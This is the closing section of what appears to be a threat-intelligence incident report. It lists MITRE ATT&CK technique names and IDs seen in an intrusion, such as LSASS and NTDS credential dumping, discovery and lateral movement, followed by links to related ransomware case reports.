Disable or Modify Tools - T1562.001
NTDS - T1003.003
LSASS Memory - T1003.001
Protocol Tunneling - T1572
Windows Management Instrumentation - T1047
Remote Desktop Protocol - T1021.001
System Owner/User Discovery - T1033
Domain Groups - T1069.002
Remote System Discovery - T1018
System Information Discovery - T1082
Process Discovery - T1057
Domain Account - T1087.002
Local Account - T1087.001
Archive via Utility - T1560.001
Obfuscated Files or Information - T1027
Deobfuscate/Decode Files or Information - T1140
Masquerade Task or Service - T1036.004
SMB/Windows Admin Shares - T1021.002
Lateral Tool Transfer - T1570
Malicious File - T1204.002
Domain Trust Discovery - T1482
Group Policy Discovery - T1615
```

Internal case #19438

« FROM SCREENCONNECT TO HIVE RANSOMWARE IN 61 HOURS

SQL BRUTE FORCE LEADS TO BLUESKY RANSOMWARE »

Reports

Threat Intelligence

Detection Rules

DFIR Labs

Mentoring and Coaching